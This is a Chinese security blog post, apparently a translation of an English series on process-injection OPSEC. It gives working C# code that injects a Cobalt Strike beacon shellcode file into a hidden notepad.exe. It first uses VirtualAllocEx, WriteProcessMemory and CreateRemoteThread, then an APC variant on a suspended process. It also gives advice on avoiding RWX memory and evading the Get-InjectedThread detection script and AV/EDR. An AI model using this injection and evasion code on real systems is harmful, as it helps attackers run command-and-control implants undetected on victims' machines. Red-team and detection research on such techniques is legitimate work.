进程注入 OPSEC tips

VSole2021-11-18 22:14:52

这篇文章将分析最经典的注入方法:

VirtualAllocExWriteProcessMemoryCreateRemoteThread

内存分配

VirtualAllocEx将在目标进程中分配一个新的内存区域。

// Spawn the target processvar target = new Process{    StartInfo = new ProcessStartInfo    {        FileName = @"C:\Windows\System32otepad.exe",        CreateNoWindow = true,        WindowStyle = ProcessWindowStyle.Hidden    }};
target.Start();
// Read in the shellcodevar shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");
// Allocate a region of memoryvar hMemory = Kernel32.VirtualAllocEx(    target.Handle,    IntPtr.Zero,    shellcode.Length,    Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT,    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Memory:  0x{0:X}", hMemory);

这将创建一个具有 RWX(读、写、执行)权限可以放下shellcode的区域,API 返回内存区域的地址。

写入 Shellcode

WriteProcessMemory将指定的缓冲区写入内存区域。写入刚刚创建的区域。该 API 返回一个布尔值,表示写入是否成功。

var success = Kernel32.WriteProcessMemory(    target.Handle,    hMemory,    shellcode,    shellcode.Length,    out _);

一旦 shellcode 被写入,就可以在目标进程的内存中看到。

执行 Shellcode

CreateRemoteThread在目标进程中创建一个将执行 shellcode 的新线程。线程的起始地址将指向保存 shellcode 的内存区域。该 API 返回一个已创建线程的句柄。

var hThread = Kernel32.CreateRemoteThread(    target.Handle,    null,    0,    hMemory,    IntPtr.Zero,    Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY,    out _);

这将返回一个在目标进程中运行的 Beacon,例如我们注入到notepad.exe中。

OPSEC

RWX

第一个方面是 RWX 的初始内存分配,这对于AV和EDR来说可能是一个危险信号。那么我们可以最初将其分配为RW,写入shellcode然后在调用 CreateRemoteThread 之前使用VirtualProtectEx使其成为 RX。

这样对于CobaltStrike是可以做的,但是对于Metasploit 等框架的“编码”shellcode(例如 shikata_ga_nai)。这是因为这些 shellcode 包含一个存根,它在内存中自我解码,并且这个编码过程需要写入和执行权限,所以必须需要RWX。

Cobalt Strike 反射加载器还有一些可以在Malleable C2 配置文件中指定的附加选项,例如userwx和cleanup。当设置为 false 时,userwx 将告诉加载器不要为自己分配新的 RWX 内存(它将选择 RX);当 cleanup 设置为 true 时,加载器将释放用于加载自身的已分配内存。

如果我们进一步检查目标进程中的内存区域,可以看到每个RX 区域都由磁盘上的一个模块支持,但是明显包含 shellcode 的区域并没有任何的。如果使用了 RWX,那么它很可能是整个内存中唯一的RWX。这样特别明显。

“正常”行为是进程从磁盘(可能是从 System32 中)加载 DLL,而这种反射 DLL 注入方式不会加载到磁盘上的 DLL。

检查进程中正在运行的线程还会发现有一个正在运行的线程不指向带有模块的导出函数,同样也是很明显的特征。

我们可以直接使用公开的脚本就可以直接检测在目标进程中的shellcode

https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2
PS C:\Users\Rasta> Get-InjectedThreadName                           Value----                           -----KernelPath                     C:\Windows\System32otepad.exePathMismatch                   FalseAuthenticationPackageAllocatedMemoryProtection      PAGE_READWRITEUserName                       \BaseAddress                    2120897789952IsUniqueThreadToken            FalseCommandLine                    "C:\Windows\System32otepad.exe"Size                           4096ThreadId                       4524Integrity                      MEDIUM_MANDATORY_LEVELSecurityIdentifier             S-1-5-21-3309307143-4008523374-2967785533-1001MemoryProtection               PAGE_READWRITELogonTypeProcessName                    notepad.exeProcessId                      9256MemoryState                    MEM_COMMITLogonIdLogonSessionStartTimePath                           C:\Windows\System32otepad.exeBasePriority                   8MemoryType                     MEM_MAPPEDPrivilege                      SeChangeNotifyPrivilege

在 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入模式这种,两个主要 OPSEC 问题是 RX 内存区域和没有磁盘模块支持的执行线程。

那么我们可以尝试使用将 CreateRemoteThread 的使用替换为QueueUserAPC 来解决“线程”问题,也就是使用APC注入。

调用 CreateProcess API在挂起状态下打开我们的目标进程。

var success = Kernel32.CreateProcess(    C:\Windows\System32otepad.exe",    null,    null,    null,    false,    Kernel32.CREATE_PROCESS.CREATE_SUSPENDED,    null,    C:\Windows\System32",    Kernel32.STARTUPINFO.Default,    out var processInformation);
if (success){    Console.WriteLine($"PID: {processInformation.dwProcessId}");    Console.WriteLine($"TID {processInformation.dwThreadId}");}

跟进一下在内存中的情况,使用进程监控工具,例如任务管理器、进程黑客或进程资源管理器,都会显示进程的状态。

下一步是分配一个新的内存区域并将 shellcode 写入其中 - 这可以像之前使用 VirtualAllocEx 和 WriteProcessMemory 一样完成(eg:创建区域为 RW 然后将其更改为 RX 的步骤)。

var shellcode = File.ReadAllBytes(@"C:\Payload\beacon.bin");
// Allocate as RWvar hMemory = Kernel32.VirtualAllocEx(    processInformation.hProcess,    IntPtr.Zero,    shellcode.Length,    Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT | Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE,    Kernel32.MEM_PROTECTION.PAGE_READWRITE);
// Write the shellcodesuccess = Kernel32.WriteProcessMemory(    processInformation.hProcess,    hMemory,    shellcode,    shellcode.Length,    out _);
// Change to RXsuccess = Kernel32.VirtualProtectEx(    processInformation.hProcess,    hMemory,    shellcode.Length,    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READ,    out _);

对 QueueUserAPC 的调用非常简单——我们提供了 shellcode 在内存中的位置,以及我们想要排队的线程的句柄。

var result = Kernel32.QueueUserAPC(    hMemory,    processInformation.hThread,    IntPtr.Zero);

完成后,只需恢复线程。

result = Kernel32.ResumeThread(processInformation.hThread);

然后回到Cobaltstrike中

在Process Hacker中可以看到:

可以看到 Beacon 的执行线程返回到宿主进程的主模块。与以前不同的是,我们没有额外的线程不会返回到模块,并且Get-InjectedThread检测不到。

PS C:\Tools> ipmo .\Get-InjectedThread.ps1PS C:\Tools> Get-InjectedThreadPSC:\Tools>

https://rastamouse.me/exploring-process-injection-opsec-part-2/

https://rastamouse.me/exploring-process-injection-opsec-part-1/

线程
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言 本章分为两个议题 如何正确关闭线程池 shutdown 和 shutdownNow 的区别 项目环境 jdk 1.8 github 地址:https://github.com/huajiexiewenfeng/java-concurrent 本章模块:threadpool 1.线程池示例
ArrayList是线程不安全的,于是JDK新增加了一个线程并发安全的List——CopyOnWriteList,中心思想就是copy-on-write,简单来说是读写分离:读时共享、写时复制(原本的array)更新(且为独占式的加锁),而我们下面分析的源码具体实现也是这个思想的体现。 继承体系:
Java线程安全:狭义地认为是多线程之间共享数据的访问。 Java语言中各种操作共享的数据有5种类型:不可变、绝对线程安全、相对线程安全、线程兼容、线程独立
进程和线程
2021-09-26 16:32:12
看雪论坛作者ID:L0x1c
通过Scala对文件进行读写操作在实际业务中应用也比较多,这里介绍几种常用的方式,直接上代码:1.从文件中读取内容object Main {. 但是ArrayBuffer 进行添加元素时,使用方法:+=。= new ArrayBuffer[Int],索引容量情况:下当array长度为1,但大小0已经大于16,并且array没有及时扩展时,会报越界。
Check Point发现,新版本的特洛伊木马正在迅速传播,并已在全球范围内夺走了100,000名受害者。 据Check Point 的研究人员星期四发表了关于他们发现的报告称,Qbot是自2008年以来不断发展的信息窃取木马,再次改变了...
Carbon Black的安全研究人员在周三的一份报告中说,一种名为Conti的勒索病毒正在使用多达32个并行CPU线程来对受感染计算机上的文件进行加密,以达到极快的加密速度。Conti只是今年发现的一系列勒索软件中最新的一种。安全研究人员于今年 2 月初首次发现了Conti开发人员,但是Carbon Black现在报道其TAU 发现了Conti感染。Carbon Black的TAU在周三发布的技术报告中说,在分析Conti代码时突出的项目是对多线程操作的支持。
APC机制初探
2022-05-31 16:10:02
本质 线程是不能被“杀掉”、“挂起”、“恢复”的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢?举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU,何谈控制呢?所以说线程如果想“死”,一定是自己执行代码把自己杀死,不存在“他杀”这种情况!那如果想改变一个线程的行为该怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC,即异步过程调用。
除了几个现成的集成之外,Acunetix还提供了一个API,使您可以将扫描仪与任何环境集成在一起。Acunetix API允许您使用任何扫描仪功能,而无需访问扫描仪UI。作为示例,我们将向您展示如何使用Python调用Acunetix API...
用来恢复线程,如果函数成功, 则传回线程的前一个挂起次数。如果失败, 则传回0xFFFFFFFF。
VSole
网络安全专家